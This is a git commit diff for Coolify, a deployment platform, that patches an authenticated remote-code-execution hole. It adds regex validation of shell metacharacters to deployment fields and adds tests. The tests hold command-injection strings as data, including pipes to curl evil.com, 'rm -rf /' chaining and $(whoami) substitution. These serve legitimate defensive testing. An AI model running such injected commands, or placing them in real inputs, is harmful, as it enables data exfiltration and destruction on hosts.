Squashed commit from 'qqrq-r9h4-x6wp-authenticated-rce'

This commit is contained in:
Andras Bacsai 2026-03-18 13:53:01 +01:00
parent f896d47b99
commit 23f9156c73
7 changed files with 507 additions and 76 deletions

View file

@ -2472,7 +2472,7 @@ public function update_by_uuid(Request $request)
$this->authorize('update', $application);
$server = $application->destination->server;
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$validationRules = [
'name' => 'string|max:255',
@ -2483,8 +2483,6 @@ public function update_by_uuid(Request $request)
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',
'docker_compose_domains.*.domain' => 'string|nullable',
'docker_compose_custom_start_command' => 'string|nullable',
'docker_compose_custom_build_command' => 'string|nullable',
'custom_nginx_configuration' => 'string|nullable',
'is_http_basic_auth_enabled' => 'boolean|nullable',
'http_basic_auth_username' => 'string',

View file

@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id)
$this->preserveRepository = $this->application->settings->is_preserve_repository_enabled;
$this->basedir = $this->application->generateBaseDir($this->deployment_uuid);
$this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/');
$baseDir = $this->application->base_directory;
if ($baseDir && $baseDir !== '/') {
$this->validatePathField($baseDir, 'base_directory');
}
$this->workdir = "{$this->basedir}".rtrim($baseDir, '/');
$this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}";
$this->is_debug_enabled = $this->application->settings->is_debug_enabled;
@ -312,7 +316,11 @@ public function handle(): void
}
if ($this->application->dockerfile_target_build) {
$this->buildTarget = " --target {$this->application->dockerfile_target_build} ";
$target = $this->application->dockerfile_target_build;
if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.');
}
$this->buildTarget = " --target {$target} ";
}
// Check custom port
@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack()
$this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location');
}
if (data_get($this->application, 'docker_compose_custom_start_command')) {
$this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command');
$this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command;
if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) {
$projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir;
@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack()
}
}
if (data_get($this->application, 'docker_compose_custom_build_command')) {
$this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command');
$this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command;
if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) {
$this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value();
@ -3948,6 +3958,24 @@ private function validatePathField(string $value, string $fieldName): string
return $value;
}
private function validateShellSafeCommand(string $value, string $fieldName): string
{
if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters.");
}
return $value;
}
private function validateContainerName(string $value): string
{
if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
throw new \RuntimeException('Invalid container name: contains forbidden characters.');
}
return $value;
}
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {
@ -3961,7 +3989,17 @@ private function run_pre_deployment_command()
foreach ($containers as $container) {
$containerName = data_get($container, 'Names');
if ($containerName) {
$this->validateContainerName($containerName);
}
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) {
// Security: pre_deployment_command is intentionally treated as arbitrary shell input.
// Users (team members with deployment access) need full shell flexibility to run commands
// like "php artisan migrate", "npm run build", etc. inside their own application containers.
// The trust boundary is at the application/team ownership level — only authenticated team
// members can set these commands, and execution is scoped to the application's own container.
// The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
// restrict the command itself. Container names are validated separately via validateContainerName().
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
$exec = "docker exec {$containerName} {$cmd}";
$this->execute_remote_command(
@ -3988,7 +4026,12 @@ private function run_post_deployment_command()
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
foreach ($containers as $container) {
$containerName = data_get($container, 'Names');
if ($containerName) {
$this->validateContainerName($containerName);
}
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
// Security: post_deployment_command is intentionally treated as arbitrary shell input.
// See the equivalent comment in run_pre_deployment_command() for the full security rationale.
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
$exec = "docker exec {$containerName} {$cmd}";
try {

View file

@ -7,7 +7,6 @@
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Collection;
use Livewire\Attributes\Validate;
use Livewire\Component;
use Spatie\Url\Url;
use Visus\Cuid2\Cuid2;
@ -22,136 +21,95 @@ class General extends Component
public Collection $services;
#[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')]
public string $name;
#[Validate(['string', 'nullable'])]
public ?string $description = null;
#[Validate(['nullable'])]
public ?string $fqdn = null;
#[Validate(['required'])]
public string $gitRepository;
#[Validate(['required'])]
public string $gitBranch;
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
public ?string $gitCommitSha = null;
#[Validate(['string', 'nullable'])]
public ?string $installCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $buildCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $startCommand = null;
#[Validate(['required'])]
public string $buildPack;
#[Validate(['required'])]
public string $staticImage;
#[Validate(['required'])]
public string $baseDirectory;
#[Validate(['string', 'nullable'])]
public ?string $publishDirectory = null;
#[Validate(['string', 'nullable'])]
public ?string $portsExposes = null;
#[Validate(['string', 'nullable'])]
public ?string $portsMappings = null;
#[Validate(['string', 'nullable'])]
public ?string $customNetworkAliases = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerfile = null;
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
public ?string $dockerfileLocation = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerfileTargetBuild = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerRegistryImageName = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerRegistryImageTag = null;
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
public ?string $dockerComposeLocation = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerCompose = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeRaw = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeCustomStartCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeCustomBuildCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $customDockerRunOptions = null;
#[Validate(['string', 'nullable'])]
// Security: pre/post deployment commands are intentionally arbitrary shell — users need full
// flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization.
// Commands execute inside the application's own container, not on the host.
public ?string $preDeploymentCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $preDeploymentCommandContainer = null;
#[Validate(['string', 'nullable'])]
public ?string $postDeploymentCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $postDeploymentCommandContainer = null;
#[Validate(['string', 'nullable'])]
public ?string $customNginxConfiguration = null;
#[Validate(['boolean', 'required'])]
public bool $isStatic = false;
#[Validate(['boolean', 'required'])]
public bool $isSpa = false;
#[Validate(['boolean', 'required'])]
public bool $isBuildServerEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isPreserveRepositoryEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isContainerLabelEscapeEnabled = true;
#[Validate(['boolean', 'required'])]
public bool $isContainerLabelReadonlyEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isHttpBasicAuthEnabled = false;
#[Validate(['string', 'nullable'])]
public ?string $httpBasicAuthUsername = null;
#[Validate(['string', 'nullable'])]
public ?string $httpBasicAuthPassword = null;
#[Validate(['nullable'])]
public ?string $watchPaths = null;
#[Validate(['string', 'required'])]
public string $redirect;
#[Validate(['nullable'])]
public $customLabels;
public bool $labelsChanged = false;
@ -184,33 +142,33 @@ protected function rules(): array
'fqdn' => 'nullable',
'gitRepository' => 'required',
'gitBranch' => 'required',
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'installCommand' => 'nullable',
'buildCommand' => 'nullable',
'startCommand' => 'nullable',
'buildPack' => 'required',
'staticImage' => 'required',
'baseDirectory' => 'required',
'publishDirectory' => 'nullable',
'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)),
'publishDirectory' => ValidationPatterns::directoryPathRules(),
'portsExposes' => 'required',
'portsMappings' => 'nullable',
'customNetworkAliases' => 'nullable',
'dockerfile' => 'nullable',
'dockerRegistryImageName' => 'nullable',
'dockerRegistryImageTag' => 'nullable',
'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
'dockerfileLocation' => ValidationPatterns::filePathRules(),
'dockerComposeLocation' => ValidationPatterns::filePathRules(),
'dockerCompose' => 'nullable',
'dockerComposeRaw' => 'nullable',
'dockerfileTargetBuild' => 'nullable',
'dockerComposeCustomStartCommand' => 'nullable',
'dockerComposeCustomBuildCommand' => 'nullable',
'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(),
'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(),
'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(),
'customLabels' => 'nullable',
'customDockerRunOptions' => 'nullable',
'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000),
'preDeploymentCommand' => 'nullable',
'preDeploymentCommandContainer' => 'nullable',
'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
'postDeploymentCommand' => 'nullable',
'postDeploymentCommandContainer' => 'nullable',
'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
'customNginxConfiguration' => 'nullable',
'isStatic' => 'boolean|required',
'isSpa' => 'boolean|required',
@ -233,6 +191,14 @@ protected function messages(): array
[
...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'),
...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'),
'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'name.required' => 'The Name field is required.',
'gitRepository.required' => 'The Git Repository field is required.',
'gitBranch.required' => 'The Git Branch field is required.',

View file

@ -9,7 +9,7 @@ class ValidationPatterns
{
/**
* Pattern for names excluding all dangerous characters
*/
*/
public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u';
/**
@ -23,6 +23,32 @@ class ValidationPatterns
*/
public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/';
/**
* Pattern for directory paths (base_directory, publish_directory, etc.)
* Like FILE_PATH_PATTERN but also allows bare "/" (root directory)
*/
public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/';
/**
* Pattern for Docker build target names (multi-stage build stage names)
* Allows alphanumeric, dots, hyphens, and underscores
*/
public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Pattern for shell-safe command strings (docker compose commands, docker run options)
* Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns
* Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks
* Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/';
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
*/
public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Get validation rules for name fields
*/
@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength =
public static function nameMessages(): array
{
return [
'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &",
'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &',
'name.min' => 'The name must be at least :min characters.',
'name.max' => 'The name may not be greater than :max characters.',
];
@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st
];
}
/**
* Get validation rules for directory path fields (base_directory, publish_directory)
*/
public static function directoryPathRules(int $maxLength = 255): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN];
}
/**
* Get validation rules for Docker build target fields
*/
public static function dockerTargetRules(int $maxLength = 128): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN];
}
/**
* Get validation rules for shell-safe command fields
*/
public static function shellSafeCommandRules(int $maxLength = 1000): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
/**
* Get validation rules for container name fields
*/
public static function containerNameRules(int $maxLength = 255): array
{
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
}
/**
* Get combined validation messages for both name and description fields
*/

View file

@ -101,8 +101,8 @@ function sharedDataApplications()
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/',
'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable',
'custom_network_aliases' => 'string|nullable',
'base_directory' => 'string|nullable',
'publish_directory' => 'string|nullable',
'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
'health_check_enabled' => 'boolean',
'health_check_type' => 'string|in:http,cmd',
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
@ -125,21 +125,24 @@ function sharedDataApplications()
'limits_cpuset' => 'string|nullable',
'limits_cpu_shares' => 'numeric',
'custom_labels' => 'string|nullable',
'custom_docker_run_options' => 'string|nullable',
'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000),
// Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate").
// Access is gated by API token authentication. Commands run inside the app container, not the host.
'post_deployment_command' => 'string|nullable',
'post_deployment_command_container' => 'string',
'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
'pre_deployment_command' => 'string|nullable',
'pre_deployment_command_container' => 'string',
'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
'manual_webhook_secret_github' => 'string|nullable',
'manual_webhook_secret_gitlab' => 'string|nullable',
'manual_webhook_secret_bitbucket' => 'string|nullable',
'manual_webhook_secret_gitea' => 'string|nullable',
'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(),
'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(),
'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(),
'docker_compose' => 'string|nullable',
'docker_compose_domains' => 'array|nullable',
'docker_compose_custom_start_command' => 'string|nullable',
'docker_compose_custom_build_command' => 'string|nullable',
'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
'is_container_label_escape_enabled' => 'boolean',
];
}

View file

@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
</div>
@else
<div x-data="{
baseDir: '{{ $application->base_directory }}',
dockerfileLocation: '{{ $application->dockerfile_location }}',
baseDir: @entangle('baseDirectory'),
dockerfileLocation: @entangle('dockerfileLocation'),
normalizePath(path) {
if (!path || path.trim() === '') return '/';
path = path.trim();
@ -332,11 +332,11 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
this.dockerfileLocation = this.normalizePath(this.dockerfileLocation);
}
}" class="flex flex-col gap-2 xl:flex-row">
<x-forms.input placeholder="/" wire:model.defer="baseDirectory"
<x-forms.input placeholder="/"
label="Base Directory" helper="Directory to use as root. Useful for monorepos."
x-bind:disabled="!canUpdate" x-model="baseDir" @blur="normalizeBaseDir()" />
@if ($buildPack === 'dockerfile' && !$application->dockerfile)
<x-forms.input placeholder="/Dockerfile" wire:model.defer="dockerfileLocation"
<x-forms.input placeholder="/Dockerfile"
label="Dockerfile Location"
helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($application->base_directory . $application->dockerfile_location, '/') }}</span>"
x-bind:disabled="!canUpdate" x-model="dockerfileLocation"

View file

@ -236,6 +236,369 @@
});
});
describe('dockerfile_target_build validation', function () {
test('rejects shell metacharacters in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'production; echo pwned'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'builder$(whoami)'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand injection in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'stage && env'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid target names', function ($target) {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => $target],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeFalse();
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
test('runtime validates dockerfile_target_build', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
$pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
});
});
describe('base_directory validation', function () {
test('rejects shell metacharacters in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/src; echo pwned'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/dir$(whoami)'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid base directories', function ($dir) {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => $dir],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeFalse();
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
test('runtime validates base_directory via validatePathField', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, '/src', 'base_directory'))
->toBe('/src');
});
});
describe('docker_compose_custom_command validation', function () {
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects pipe injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker compose commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => $cmd],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects single quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('runtime validates docker compose commands', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateShellSafeCommand');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
->toBe('docker compose up -d --build');
});
});
describe('custom_docker_run_options validation', function () {
test('rejects semicolon injection in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--hostname=$(whoami)'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker run options', function ($opts) {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => $opts],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeFalse();
})->with([
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
'--privileged --init',
'--memory=512m --cpus=2',
]);
});
describe('container name validation', function () {
test('rejects shell injection in container name', function () {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => 'my-container; echo pwned'],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid container names', function ($name) {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => $name],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeFalse();
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
test('runtime validates container names', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateContainerName');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, 'my-app'))
->toBe('my-app');
});
});
describe('dockerfile_target_build rules survive array_merge in controller', function () {
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_custom_start_command,
// so the shared regex rule must survive
$localRules = [
